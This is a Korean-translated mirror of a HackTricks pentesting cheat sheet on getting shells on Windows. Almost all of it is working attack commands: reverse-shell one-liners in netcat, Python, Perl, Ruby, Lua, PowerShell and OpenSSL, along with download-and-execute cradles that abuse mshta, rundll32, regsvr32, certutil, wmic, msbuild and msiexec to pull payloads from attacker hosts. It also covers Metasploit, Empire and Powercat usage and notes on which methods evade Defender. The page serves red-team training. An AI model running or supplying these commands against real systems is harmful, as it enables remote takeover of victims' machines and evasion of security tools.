mirror of https://github.com/carlospolop/hacktricks synced 2024-11-22 20:53:37 +00:00

Translator dfaba89cc8 Translated ['1911-pentesting-fox.md', '6881-udp-pentesting-bittorrent.md

2024-07-18 18:39:08 +00:00

23 KiB

Raw Blame History

쉘 - 윈도우

{% hint style="success" %} AWS 해킹 학습 및 실습:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 학습 및 실습: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks 지원

구독 요금제를 확인하세요!
💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
HackTricks 및 HackTricks Cloud 깃허브 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.

{% endhint %}

Try Hard Security Group

{% embed url="https://discord.gg/tryhardsecurity" %}

Lolbas

https://lolbas-project.github.io/ 페이지는 리눅스용 https://gtfobins.github.io/와 같이 윈도우용입니다.
명백히, 윈도우에는 SUID 파일이나 sudo 권한이 없습니다, 하지만 일부 이진 파일이 (남용하여) 임의의 코드를 실행하는 등의 예상치 못한 작업을 수행하는 방법을 알아두는 것이 유용합니다.

NC

nc.exe -e cmd.exe <Attacker_IP> <PORT>

SBD

sbd은 휴대용 및 안전한 Netcat 대체품입니다. Unix와 Win32 시스템에서 작동합니다. 강력한 암호화, 프로그램 실행, 사용자 정의 소스 포트, 지속적인 재연결과 같은 기능을 갖춘 sbd는 TCP/IP 통신에 대한 다재다능한 솔루션을 제공합니다. Windows 사용자에게는 Kali Linux 배포판의 sbd.exe 버전을 Netcat의 신뢰할 수 있는 대체품으로 사용할 수 있습니다.

# Victims machine
sbd -l -p 4444 -e bash -v -n
listening on port 4444


# Atackers
sbd 10.10.10.10 4444
id
uid=0(root) gid=0(root) groups=0(root)

파이썬

#Windows
C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"

Perl

perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

루비

#Windows
ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

Lua

Lua (루아)는 브라질의 파이트 교육 센터(Centro de Ensino e Pesquisa em Informática)에서 개발된 경량 스크립팅 언어입니다. Lua는 임베디드 시스템에서의 사용을 목적으로 설계되었으며, C 언어로 작성되어 있어 이식성이 뛰어나고 높은 성능을 제공합니다. Lua는 게임 개발 및 웹 개발에서도 널리 사용되며, 확장성이 뛰어나고 강력한 기능을 제공합니다. Lua는 간결하고 직관적인 문법을 가지고 있어 쉽게 배우고 사용할 수 있습니다.

lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'

OpenSSH

공격자 (Kali)

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response

피해자

#Linux
openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>

#Windows
openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>

Powershell

powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')"
Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadString('http://10.222.0.26:8000/ipst.ps1')"
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile

네트워크 호출을 수행하는 프로세스: powershell.exe
디스크에 기록된 페이로드: 아니요 (적어도 procmon을 사용하여 찾을 수 있는 곳에는 없습니다!)

powershell -exec bypass -f \\webdavserver\folder\payload.ps1

네트워크 호출을 수행하는 프로세스: svchost.exe
디스크에 기록된 페이로드: WebDAV 클라이언트 로컬 캐시

한 줄 설명:

$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

이 문서의 끝에서 다양한 Powershell 쉘에 대한 자세한 정보를 확인하세요

Mshta

여기에서

mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))

mshta http://webserver/payload.hta

mshta \\webdavserver\folder\payload.hta

hta-psh 역술 (hta를 사용하여 PS 백도어 다운로드 및 실행)

<scRipt language="VBscRipT">CreateObject("WscrIpt.SheLL").Run "powershell -ep bypass -w hidden IEX (New-ObjEct System.Net.Webclient).DownloadString('http://119.91.129.12:8080/1.ps1')"</scRipt>

Koadic 좀비를 매우 쉽게 다운로드하고 실행할 수 있습니다. 스테이저 hta를 사용하여

hta 예제

여기서

<html>
<head>
<HTA:APPLICATION ID="HelloExample">
<script language="jscript">
var c = "cmd.exe /c calc.exe";
new ActiveXObject('WScript.Shell').Run(c);
</script>
</head>
<body>
<script>self.close();</script>
</body>
</html>

mshta - sct

여기에서

<?XML version="1.0"?>
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close();  -->
<!-- mshta vbscript:Close(Execute("GetObject(""script:http://webserver/scriplet.sct"")")) -->
<!-- mshta vbscript:Close(Execute("GetObject(""script:C:\local\path\scriptlet.sct"")")) -->
<scriptlet>
<public>
</public>
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</scriptlet>

Mshta - Metasploit

use exploit/windows/misc/hta_server
msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109
msf exploit(windows/misc/hta_server) > set lhost 192.168.1.109
msf exploit(windows/misc/hta_server) > exploit

Victim> mshta.exe //192.168.1.109:8080/5EEiDSd70ET0k.hta #The file name is given in the output of metasploit

디펜더에 의해 감지됨

Rundll32

Dll hello world example

여기에서

rundll32 \\webdavserver\folder\payload.dll,entrypoint

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();

Defender에 의해 감지됨

Rundll32 - sct

여기서

<?XML version="1.0"?>
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close();  -->
<!-- mshta vbscript:Close(Execute("GetObject(""script:http://webserver/scriplet.sct"")")) -->
<scriptlet>
<public>
</public>
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</scriptlet>

Rundll32 - Metasploit

use windows/smb/smb_delivery
run
#You will be given the command to run in the victim: rundll32.exe \\10.2.0.5\Iwvc\test.dll,0

Rundll32 - Koadic

use stager/js/rundll32_js
set SRVHOST 192.168.1.107
set ENDPOINT sales
run
#Koadic will tell you what you need to execute inside the victim, it will be something like:
rundll32.exe javascript:"\..\mshtml, RunHTMLApplication ";x=new%20ActiveXObject("Msxml2.ServerXMLHTTP.6.0");x.open("GET","http://10.2.0.5:9997/ownmG",false);x.send();eval(x.responseText);window.close();

Regsvr32

여기에서

regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll

regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll

Defender에 의해 감지됨

Regsvr32 -sct

여기에서

<?XML version="1.0"?>
<!-- regsvr32 /u /n /s /i:http://webserver/regsvr32.sct scrobj.dll -->
<!-- regsvr32 /u /n /s /i:\\webdavserver\folder\regsvr32.sct scrobj.dll -->
<scriptlet>
<registration
progid="PoC"
classid="{10001111-0000-0000-0000-0000FEEDACDC}" >
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</registration>
</scriptlet>

Regsvr32 - Metasploit

use multi/script/web_delivery
set target 3
set payload windows/meterpreter/reverse/tcp
set lhost 10.2.0.5
run
#You will be given the command to run in the victim: regsvr32 /s /n /u /i:http://10.2.0.5:8080/82j8mC8JBblt.sct scrobj.dll

Koadic 좀비를 매우 쉽게 다운로드하고 실행할 수 있습니다. 스테이저 regsvr을 사용하여

Certutil

여기서

B64dll을 다운로드하고 디코딩하여 실행합니다.

certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll

B64exe를 다운로드하고 디코딩한 후 실행하십시오.

certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe

Defender에 의해 감지됨

Cscript/Wscript

powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://10.2.0.5:8000/reverse_shell.vbs',\"$env:temp\test.vbs\");Start-Process %windir%\system32\cscript.exe \"$env:temp\test.vbs\""

Cscript - Metasploit

msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 -f vbs > shell.vbs

Defender에 의해 감지됨

PS-Bat

\\webdavserver\folder\batchfile.bat

네트워크 호출을 수행하는 프로세스: svchost.exe
디스크에 기록된 페이로드: WebDAV 클라이언트 로컬 캐시

msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 > shell.bat
impacket-smbserver -smb2support kali `pwd`

\\10.8.0.3\kali\shell.bat

Defender에 의해 감지됨

MSIExec

공격자

msfvenom -p windows/meterpreter/reverse_tcp lhost=10.2.0.5 lport=1234 -f msi > shell.msi
python -m SimpleHTTPServer 80

피해자:

victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi

감지됨

Wmic

여기서

wmic os get /format:"https://webserver/payload.xsl"

예제 xsl 파일 여기에서:

<?xml version='1.0'?>
<stylesheet xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt" xmlns:user="placeholder" version="1.0">
<output method="text"/>
<ms:script implements-prefix="user" language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object Net.WebClient).DownloadString('http://10.2.0.5/shell.ps1') | powershell -noprofile -");
]]>
</ms:script>
</stylesheet>

감지되지 않음

당신은 stager wmic을 사용하여 매우 쉽게 Koadic 좀비를 다운로드하고 실행할 수 있습니다

Msbuild

여기에서

cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"

다음 기술을 사용하여 응용 프로그램 화이트리스트 및 Powershell.exe 제한을 우회할 수 있습니다. PS 셸로 프롬프트가 표시됩니다.
다음을 다운로드하고 실행하십시오: https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj

C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj

감지되지 않음

CSC

피해자 컴퓨터에서 C# 코드를 컴파일합니다.

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs

다음 위치에서 기본 C# 역술을 다운로드할 수 있습니다: https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc

감지되지 않음

Regasm/Regsvc

여기에서

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll

해보지 않았습니다

https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182

Odbcconf

여기에서

odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}

시도해보지 않았습니다

https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2

파워쉘 쉘

PS-Nishang

https://github.com/samratashok/nishang

Shells 폴더에는 다양한 쉘이 있습니다. **Invoke-PowerShellTcp.ps1**을 다운로드하고 실행하려면 스크립트를 복사하고 파일 끝에 추가하십시오:

Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444

피해자의 컴퓨터에서 스크립트를 실행하도록 웹 서버에서 스크립트를 제공합니다:

powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex"

Defender는 악성 코드로 감지하지 않습니다 (아직, 2019년 3월 4일).

할 일: 다른 nishang 쉘을 확인하세요

PS-Powercat

https://github.com/besimorhino/powercat

다운로드하고, 웹 서버를 시작하고, 수신기를 시작하고, 피해자의 단말에서 실행하세요:

powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"

Defender는 악성 코드로 감지하지 않습니다 (아직, 2019년 3월 4일).

powercat에서 제공하는 다른 옵션:

바인드 쉘, 역쉘 (TCP, UDP, DNS), 포트 리다이렉트, 업로드/다운로드, 페이로드 생성, 파일 제공...

Serve a cmd Shell:
powercat -l -p 443 -e cmd
Send a cmd Shell:
powercat -c 10.1.1.1 -p 443 -e cmd
Send a powershell:
powercat -c 10.1.1.1 -p 443 -ep
Send a powershell UDP:
powercat -c 10.1.1.1 -p 443 -ep -u
TCP Listener to TCP Client Relay:
powercat -l -p 8000 -r tcp:10.1.1.16:443
Generate a reverse tcp payload which connects back to 10.1.1.15 port 443:
powercat -c 10.1.1.15 -p 443 -e cmd -g
Start A Persistent Server That Serves a File:
powercat -l -p 443 -i C:\inputfile -rep

Empire

https://github.com/EmpireProject/Empire

파워쉘 런처를 생성하고 파일에 저장한 다음 다운로드하고 실행합니다.

powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"

악성 코드로 감지됨

MSF-Unicorn

https://github.com/trustedsec/unicorn

유니콘을 사용하여 메타스플로잇 백도어의 파워쉘 버전을 생성합니다.

python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443

다음과 같이 생성된 리소스로 msfconsole을 시작하십시오:

msfconsole -r unicorn.rc

피해자에서 다음을 실행하도록 powershell_attack.txt 파일을 서빙하는 웹 서버를 시작하십시오:

powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"

악성 코드로 감지됨

참고 자료

{% embed url="https://discord.gg/tryhardsecurity" %}

{% hint style="success" %} AWS 해킹 학습 및 실습:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 학습 및 실습: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks 지원

구독 요금제 확인!
💬 Discord 그룹 또는 텔레그램 그룹 참여 또는 트위터 🐦 @hacktricks_live** 팔로우**.
HackTricks 및 HackTricks Cloud 깃헙 레포지토리에 PR을 제출하여 해킹 트릭 공유.

{% endhint %}

23 KiB Raw Blame History Unescape Escape

쉘 - 윈도우

Lolbas

NC

SBD

파이썬

Perl

루비

Lua

OpenSSH

Powershell

Mshta

hta-psh 역술 (hta를 사용하여 PS 백도어 다운로드 및 실행)

hta 예제

mshta - sct

Mshta - Metasploit

Rundll32

Rundll32 - Metasploit

Regsvr32

Regsvr32 -sct

Regsvr32 - Metasploit

Certutil

Cscript/Wscript

PS-Bat

MSIExec

Wmic

Msbuild

CSC

Regasm/Regsvc

Odbcconf

파워쉘 쉘

PS-Nishang

PS-Powercat

Empire

MSF-Unicorn

더 보기

참고 자료

23 KiB

Raw Blame History